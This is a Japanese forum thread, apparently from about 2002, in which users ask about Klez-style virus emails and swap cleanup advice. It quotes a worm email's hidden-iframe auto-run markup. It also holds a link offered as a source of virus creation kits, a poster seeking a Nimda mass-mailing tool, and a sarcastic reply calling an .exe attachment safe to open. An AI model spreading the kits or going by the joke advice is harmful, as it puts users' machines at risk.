EdMaxもHTMLメールのレンダリングにはIEエンジンを使ってる。
ので、危険度はOEと同じ。
つか、HTML表示できるメーラーで、レンダリングエンジンにIE以外の
もの使ってるのって netscape mail 位だと思う。和製のシェアウェア
メーラーに独自のレンダリングエンジンを期待するほうが無茶。

a special funny game
というﾀｲﾄﾙのﾒｰﾙをあけてもいいですか？

ﾊﾞｽﾀｰが反応するか見てみたい。

>>687
お願いだから、回線切ってからやってね。

私、今[email protected]のアドレスを持つ方からウィルス付きのメールを送られています。一日に何度も来ます！メールは初心者で何も解りません。誰か助けてください。
知り合いに詳しい人もいません。どうしたら良いのかウィルスについてくわしい方教えてください。
また、誰が登録したか特定できる方法があればそれも教えてください。

>>689
深読みかもしれないが、質問に見せかけた嫌がらせ？

>>690
ちがうです。
>>668
全く同じものです。
ヤフー絡みでしょうか？

>>689
受信禁止リストに入れときなさい。

>>690
だとしてもそんなレスするより答えたほうが文章短いぞ。

<HTML><HEAD></HEAD><BODY>
<iframe src=cid:I9311mMiF height=0 width=0>
</iframe>
<FONT></FONT></BODY></HTML>

とかいうメールが来て、毎回必ずjpgが添付されているんですが。。。
これ見ちゃうとまずいんでしょうか？

>>686
おお、そうなのですか！
わかりました。「EdMaxも危険度はOEと同じ」、肝に銘じて用心します。
レスありがとうございました。

receivedの情報がないメールってありますか。

ウィルスにかかりました。何か情報を持っている人はください。
原因はまだ追求中なのですが、どうやらブラウザ感染型のような気がします。
症状は以下のようになってます。

１、感染したOS、Windows2000 Pro,Vine Linux2.15
２、感染すると思われるソフトウェア、ネットスケープ４．７８、６．０、IE５．５
３、ブラウザを見ているとバックグラウンドが変わったり、エロサイトの画像が貼り付けられる。
４、同じネットワークを使っているPCにも感染されると思われます。
５、Windows2000の場合、ウィルスの感染したユーザのDocumentSetting(名前忘れた)の下に隠しフォルダが作られる。
６、時間が経つとツール、フォルダオプションの設定の隠しディレクトリ、隠しファイルも見える設定にすることができ
ないように書き換えられる。

現在はこんなところです。
どこのウィルス対策サイトを見ても上の症状のようなウィルスはなかなか見つかりません。
つーか、今までウィルスかかる人ってバカと思ってたけど、自分がかかってかなりピンチです。
助けてください。

ナマでパコパコやるな！！！！

インターネット＝ソープランドのマンコ
パソコン＝チンコ

これでもナマでヤリますか？

淋、蔵まみれになりますか？

ノートン買え!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!

ソープランドを貶める意図はありません。

このくらい言わないと重大さが解らないか？
あんまり車に乗らないし、今まで事故に遭ったこともないし
任意保険は必要ないですよね？と同じ。
ウイルス対策をしないのはチンコにゴムつけないのと同じ。

ソープランドで淋、蔵くらうことがあります。
別にスレがあります。

>>697
淋、蔵以外のヘルペスやコンジロームなどはゴムじゃ防げません（泣

>>697
毎日昼間からソープランド通いご苦労さん

>>693
だから何故添付ファイル名を隠す？
助けてほしいのなら可能な限りの情報を提供しろ。助かるものも助からんぞ。

>>699は
淋、蔵まみれ
淋、蔵まみれ
淋、蔵まみれ
淋、蔵まみれ
淋、蔵まみれ

コンジロームをゴムで防げたらそれは凄いだろ。

初めてセキュリティ板にきた初心者です。
なんかメールがきて
ヤフー評価のtxtと一緒に送られてきたため
ちょっと油断して付属のpifファイルも開けてしまったら
30秒おきにHDDがガリガリいうようになってしまいました。
PCクリーン2000でHDDチェックをしても異常なしなのですが、、、、、、。
なぜか再起動するたびにPCクリーンを起動させようとすると
PCクリーンのCDを要求するようになりました。
再インストールしかないでしょうか？

今日の昼
「Hi,This is a new game
　This game is my first work.
　You're the first player.
　I expect you would like it. 」
ってメールが二つ、別々のアドレスから届いたんだが、
これはやっぱりウイルスですかねぇ？

>>703
複数の疑問を一気に投げつけないでくれ。こういうときに慌てると
ロクな事が無いぞ。

取り敢えず、30 秒おきにHDDアクセスするのは治ったのか？
それと、PCクリーンってのは知らないけど、CD要求する時のメッセージの内容は？
あと、スタートメニューから msconfig って入力して、「スタートアップ」の所を見てみそ。

>>704
どー考えてもそうなるでしょ。

>>705
レスありがとうございます。
PCクリーンはウイルスバスターの英語版で
マザーのオマケソフトで入ってたものです。
HDDガリガリは直っていません。
スタートアップのところを見ましたがよくわからないです。
怪しげなのは、nwiz.exe/install MK9973.exe です。
それと接続ログをみると
honkong.comなど得体の知れないのがたくさんでています。

とりあえず消しときました。

>>707
Cドライブ全部を対象に、nwiz.exe ってのを検索して、どこのフォルダにあるのかを教えて。
スタートアップにあるものとしては何か変だと思う。

>>709
検索したら
geforceのドライバー関連みたいです。
2つともチェックはずしたらXPが起動しなくなりました。
復旧できましたけど。
ガリガリは相変わらずです、、、、。
ウイルスメールのあてみたらdrica.comです。
ドリキャスから送られてきたみたい。

>>710
訳わからないうちに外さないの。復旧できたならいいけど。

次。
・Ctrl + Alt + Del でタスクマネージャーを出して、一つずつ強制終了する。
(Windows 再起動直後にやること)
で、その都度 1 分ほど様子を見て、HDD アクセスが起きるか見守る。
HDD アクセスを引き起こしているソフトの招待を見極める。

下手に殺すと Windows ごと死ぬので面倒だけど。
それと、PC クリーンを再インストールした後で Windows 再起動するとど
うなる？

それと、>>707の
>それと接続ログをみると
の、接続ログって何の事を言っている？IEとか？あるいはルーターのログ？

ルーターのログです。
普段ならCtrl + Alt + Del でタスクマネージャーがでてくるんだけど
数回の1回ぐらいしかでてこなくて、でてきてもすぐにキャンセルさせられます。

再インストールしかないかも、、、。
メールの宛名がwelocom to my town　だったし
用心しつつも好奇心で開けた自分が馬鹿でした。

>>714
再インストしても全然困らないのならそれをお薦めするが・・・。
困るならもう一日くらいここで待ってるほうがいい。
漏れでは力不足だが、19:00 位からもっと詳しい人も顔出すから。

想像だけど、多分ウィルスじゃなくてスパイウェアかなにかが
PC を乗っ取ってるっぽい。勝手に外部接続する辺りが。
PC クリーンもそいつが消したんだろう。
つまり、メチャクチャ危険な状態だと思うが。

さっきAD-WAREで検索かけたけどなにもひっかかってませんでした。

>>717
ウィルスバスターとかのオンラインスキャンは？
URL はこのスレ検索すれば引っかかるよ。

それと、セーフモードで起動しても HDD アクセスは起きる？

オンラインスキャンででました。
WALM、KLZGが8ファイル
明日バスター最新版買って来ます。

まだスキャン中ですが
WOLM.KLEZ.Gです
10ファイルに増えてます。

もうどっかんどっかんだな

あきらめたほうがいいって。
モノによっては感染したままネットに繋いでたら
バラ撒くことにもなりかねないぞ。

まぁ、原因は分かったにゃ。
というか、KLEZ あるって分かったんなら回線切ること。
バスター買ってきて HD 全検索 & 駆除 or 削除するまではネットに
繋がないように。加害者になっちゃうよ。

というか、もしかして漏れを含めて ROM してた人結構いる？
マンツーマンでごちゃごちゃやってたようにみえたが。

うむ

これ開いても大丈夫ですか？

This is a humour game
This game is my first work.
You're the first player.
I wish you would like it.
添付ファイル

rock.exe (90KByte)
rover0[1].jpg (5KByte)

なぜ人に聞く？

>>727
ウィルスに感染して PC が大変なことになるだけでその他は全然平気。

そうなの？ありがと！！

HDDフォーマットしてOS再インストールしてきました。
初アクチしてこなきゃ。

ウイルス感染しました
駆除できないので
悲しいです
どうしたらいいですか
泣きそうです

>>732 泣け。
涙が涸れたらアンチウィルス買って来る、OSクリアインストール、アンチウィルスインストール。

早速、ノートンセキュリティ買って、入れました。
7800円は勉強料だと考えます。
OS認証電話しなくても、ネット認証だけで通りました

>>734
XPのアクチは基本的にはネットだけでやるものだよ。
電話認証はネットが使えない人用。

OFFICE　XPだけど、
６桁の数字が、Ａ〜Ｇの７種類ある。
つまり、４２の数字をＴＥＬで聞いて、入力しなければならない。
口調は、やわらかいが、しつこく原因を追究された。
２４時間体制であった。
マイクロソフトの社員も、かわいそうかもしれない。

>>736
アクチの対応要員なんて社員じゃなくてどっかに外注してるだろ。

怪しいメールがきて
Windows Media Playerが勝手に開いたんですけど
これってウイルスですか？
添付ファイルは開かずに捨てましたけど

>>738
Windows Media Playerが起動したってことは感染したってことだ。
パソコンが動いているうちに売っぱらった方がいいと思うけど。
どうせ他のいろんなウィルスにも感染してるだろうし。

件名が「Undelivered Mail Returnd to Sender」
というメールがずっときているんですが、
これって私が感染しているウイルスを送っているということなんでしょうか？

プロパティから分かるのはこんな感じなんですが。

Received: from Mlenyxda (Cicnm4DS38.aic.mesh.ad.jp [211.135.134.61])
by 私の送信サーバ
for <メールアドレス１>; Thu, 25 Apr 2002 22:02:40 +0900 (JST)
From: ontake <メールアドレス２>
To: メールアドレス１
Subject: Japanese girl VS playboy
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary=WKt6823xq0mi999P7PZ14DK93s9
Message-Id: <私のサーバ情報>
Date: Thu, 25 Apr 2002 22:02:40 +0900 (JST)

どなたか教えて下さい。

すみません、常駐板のｸｯｷｰ残してました。

>>740
差出人名を偽装しているウィルスの可能性もある。最近多い。
先ずはウィルススキャンして見ぃ。
ウィルスバスターとかもってないなら Web のオンラインスキャン。URL
はスレの前に方に書いてある。

>>740
つか、
>件名が「Undelivered Mail Returnd to Sender」
って言ってるのと
>Subject: Japanese girl VS playboy
って言ってるのがめっさ矛盾してるんだが、本当はどっちだ？

ZONEALARM（無料）とAVG（無料）入れるだけで、セキュリティーが飛躍的に増します。
両方日本語パッチあります。

これ以上に、使えるソフトあれば教えて下さい。

>>744
ZoneAlarm Pro と AVG(有料版)

>>745
もっともだ

無料のものに比べればある程度のソフトは使える

セキュリティ固めるのが本来の目的であるのだから、「無料で」とか
意味のない条件が付くのはおかしい。有料のソフトは有料なりの、
無料のソフトは無料なりの理由と性能差がある。
ただ、F/Wはシマンテックとかトレンドマイクロのものより Zone の無料
の物のほうが使い勝手も性能もいい。ただ、個人的には Outpost Firewall
の方が好き。

>>743
件名は私の元へﾘﾀｰﾝで戻ってきてしまったメーラーで表示されているもので、
Subject:はプロパティを開けた中に書きこまれていた情報です。

友人の元などにはウイルスが届いてはいないと聞きました。
まずはウイルススキャンしてきます。

>>746
おれ、ZAやめてOutPostにしたが
広告消しとかプラグインがついててお徳♪

ここ数日に届いたウイルスらしきメールの件名

A funny website
A IE 6.0 patch
A powful tool
A special excite game
A special powful tool
A WinXP patch
Collection
END XXXCOUNTER.COM CODE
Fw:eager to see you
Fw:meeting notice
For the other parameters
Honey
LANGUAGE
LeftMargin
Notification:Hi,spice girls' vocal concert
Rights reserved.
Some questions
Sos!
Spice girls' vocal concert
TopMargin

以下の３つは〇〇の部分が当方のアカウント名

Fw:〇〇,please try again
Hello,〇〇,the Garden of Eden
Hi,〇〇,honey

>>750
悪いことは言わんが、メールアドレス変えたらどうだ？
いずれ防ぎきれなくなるぞ。

>>751
アリガト。
WEBメールのアドだから捨てます。

>>752
気になってたんだけど。
下3つの件名、アカウントってメルの？

友達から「Scrolling」って件名で「.scr」の拡張子の添付ファイルが
ついたメールが来ました。とりあえず開かず（プレビューOFFです）
削除しました。
やっぱりこれもウィルスですかね？なんて種類なんでしょうか。

>>753
うん。そうだよー
アカウントって言うんだよね？＠マークより前の部分。

それと１通、送信者が【私自身の別のメアド】ってのもあったよー

>>754
ウィルススキャンしろ。http://www.trendmicro.co.jp/hcall/
件名や拡張子だけでわかる時代じゃなくなった。

>>754
大まかな意見は >>756 と同じだが、
>やっぱりこれもウィルスですかね？
なんて呑気な事言ってる場合じゃないだろ。どう考えてもめっさウィルスだぁ。

思うんだけど、ウイルスらしきメールを受け取って、怪しいからって
ワクチンベンダーのページへ調べに行かずに、真っ先に
「２ちゃんねる」に聞きに来る人たちって(以下自粛)

「２ちゃんねる」はワクチンベンダーよりも信頼があるんだねぇ(w

拾ったノートンでスキャンしたら感染してませんでした。
やっぱりプレビューOFFは重要ですね。

>どう考えてもめっさウィルスだぁ
俺もそう思ったんですけどね・・・

>真っ先に「２ちゃんねる」に聞きに来る人たちって
まさにその通りです・・・申し訳ないです。
多分こういう風潮ってウィルスに限らないんでしょうね。

それと、ウイルス感染者が泣きついてくるような板に、他人のメルアド
書くやつ。

感染者がこの板見たら、そのアドレスにウイルスが送られるんだぜ！
確信犯もいるみたいだが。

>>760 落ちてるノートンは感染しているかも。
そんな事に気づかない>>754は救いがたいアフォ

>>755
そっかー、それって初耳状態。
それと、正確にはこの場合、アカウントって用語が正しいのかどうかは知らんっす。漏れヘタレなんで。

どうでもいいんだが。
KLEZ系はスプレッダー（変種製造者みたいなヤシ）がたくさんいるようだが。
Nimdaで件名とか本文変えてvilliメル送信するツール、ずーーーーーっと探してるけど、見つからん。

>>755
アカウント名と表現するのが正しい

　From: [email protected]
Reply-To: [email protected]
To: [email protected] [email protected] [email protected]
[email protected]
Subject:Expand Your Business
Date**
Received:from[216.155.40.29] by 2np.net with SMTP id **
Received:from[207.253.250.43](yahoo.co.uk)
by a-b-c.com (CommuniGate Pro SMTP 1.2.3) with SMTP id **
From [email protected]
X-Mailer:KMail[version 1.2]
Message-ID:< [email protected] >

VISA - Master Card - American Express
Retail or online, big or small,
we provide businesses of all types an opportunity to have their own no hassle Credit Card
Merchant Account with NO setup fees. Good credit, bad credit, no credit -- not a problem! 95% approval rate!

Make your business grow by giving your customers an easy and secure method of paying for your products or services.
With a merchant account not only will you be able to handle credit cards, but as well as debit cards,
ATM and check guarantee services. You will have the ability to accept E-checks over the Internet with a secure server.
To ensure that you won't miss a sale, you will be able to accept checks by Phone or Fax. We can handle ANY business and client type!

No Setup Fees - Low Monthly Cost
To learn more about this offer, please fill out the form below. There are no costs or obligations involved.
One of our staff will contact you within 5-10 business days and will answer any questions you may have.

For mailing list removal please reply with the word 'Remove' in the subject line of the email.
We apologize for any inconveniences.

発信者:
次のもの返答への[email protected]:
次のものへの[email protected]:
[email protected] [email protected] wkh3bew@、mail.qves.net [email protected]主題:
受け取られたあなたのビジネスDate**を拡張します:
SMTPを備えた2np.netによる[216.155.40.29]から、id**は次のものを受け取りました:
[email protected] X-メイラーからのSMTP id**を備えた-b-c.com(CommuniGate賛成論SMTP 1.2.3)による[207.253.250.43](yahoo.co.uk)から:
KMail[バージョン1.2]メッセージ-ID:<[email protected]>
VISA(マスター・カード)アメリカン・エキスプレス小売り、あるいはオンラインか大きいか、小さな、私たちは、すべてのビジネスを提供します、
彼らのものを持つ機会をタイプする、NOセット・アップ料金を備えた激論クレジットカード商人アカウントはない。
よい信用、悪い信用(信用なし)――ない、問題!
95%の承認割合!
あなたの製品あるいはサービスの代価を払う容易で安全な方法をあなたの顧客に与えることによりあなたのビジネスを成長させてください。
商人アカウントで、だけでなく、でしょう、あなた、クレジットカードを扱うことができること、しかし支払カード(ATMとチェックの保証サービス)と同様に。
安全なサーバーとインターネット上のE-チェックを受理する能力を持つでしょう。
販売を逃さないだろうということを保証するために、電話またはファックスによるチェックを受理することができるでしょう。
私たちはANYビジネスおよびクライアント・タイプを扱うことができます!
セット・アップ料金はない、この提示に関してもっと学習する低く毎月のコスト、用紙に下に記入してください。
コストまたは義務が複雑ではありません。
私たちのスタッフのうちの一人は5-10日の営業日内にあなたと連絡をとり、持っているかもしれないというどんな疑問にも答えるでしょう。
メーリング・リスト削除のために、単語で返答してください「移動する」電子メールの主題ラインで。
私たちは任意の不便に対して謝罪します。

ナマでパコパコやるな！！！！

インターネット＝ソープランドのマンコ
パソコン＝チンコ

これでもナマでヤリますか？

淋、蔵まみれになりますか？

ノートン買え!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!
ウイルス定義を最新にしろ!!!!!!!!!!!!!!!!!!!!

ソープランドを貶める意図はありません。

このくらい言わないと重大さが解らないか？
あんまり車に乗らないし、今まで事故に遭ったこともないし
任意保険は必要ないですよね？と同じ。
ウイルス対策をしないのはチンコにゴムつけないのと同じ。

ソープランドで淋、蔵くらうことがあります。
別にスレがあります。

>>758-759
たまには嘘を教えてあげてはいかがでしょうか？

>>767 相変わらず低脳だな

>>769は
カンジダ症　クリプトコッカス症　クリプトスポリジウム症　サイトメガロウィルス感染症
単純ヘルペスウィルス感染症　カポジ肉腫　原発性脳リンパ腫リンパ性間質性肺炎
非定型抗酸菌症　カリニ肺炎　進行性多発性白質脳症　トキソプラズマ脳症　化膿性細菌感染症
コクシジオイド真菌症　エイズ脳症　ヒトプラズマ症　イソスポラ症　非ホジキンリンパ腫
活動性結核 サルモネラ菌血症　ＨＩＶ消耗性症候群　反復性肺炎　浸潤性子宮頸ガン

ウイルス作成ソフト
Virus Creation Tools (54)
http://vx.netlux.org/dat/vct.shtml
http://vx.netlux.org/bin.shtml

↑↑↑↑↑ここにないか？

zipファイルをノートンでスキャンしたところ
『ブートレコードに変更がありました』
という警告が出ました。
果たしてスキャンしただけで感染するんでしょうか？
もちろん復元しましたが欝になりました。

友人から、私のhotmailのアカウントでウイルスらしいものが送られてきたとのことで、
友人いわく、
> From: 私の名前<私のメアド@hotmail.com>
> Date: 2002/04/28 Sun AM 09:20:19 JST
> To: 相手のメアド
> Subject: A very humour game
>
>Hello,This is a humour game
>This game is my first work.
>You're the first player.
>I hope you would enjoy it.

という内容のメールとともに、kitty.exeとjpgファイルが添付されていたそうです。
いま、オンラインウイルスチェックをかけていますが、実際のところ、hotmailでウイルスに感染する
ことはあるのでしょうか？
ちなみに自宅のメーラーはbecky!を使っています。メールサーバは自動でウイルスを除去する設定の
ようです。

追記です。
自宅のPCではノートンのアンチウイルスとウイルススキャンを使っています。
定義ファイルは導入に数日の遅れがあったものの、最新のものでした。

偽装されてんだから、鯖がウィルス除去機能を持っていようが
いまいが関係ない。どこからでも届く。

>>775
やはり偽装でしたか。ウイルス情報で検索してもそれらしきウイルス名は
発見できなかったので、まさかとは思いましたが。
さきほどオンラインチェックしたところ、感染していませんでした。
レスありがとうございました。

２日間で８通のウイルスらしきメールが送られてきました。
Macでも感染しますか？

>>776
subjectからして思いっきりklezですが。

>>777
ものと場合によっては感染する。

http://tmp.2ch.net/test/read.cgi/kitchen/1020070695/l50

>>779
すげぇ・・・

すいません。ノートンアンチウィルスを使っていますが、
今、ウィルススキャンをしたところ、
「ブートレコードが変わりました。」と警告ダイアログが出んですけど、
フロッピーディスクの方だとすれば、今日FDを使ったのですけど、
それが原因で誤認だと考えられるのでしょうか？助けてください。

>>781
IEのパッチ当てたとか。

気になるなら、「保存していたブートレコードから修復する（だったっけ？）」で復元。
あと、電源をいきなりカットしたりすると、その表示が出たりもする。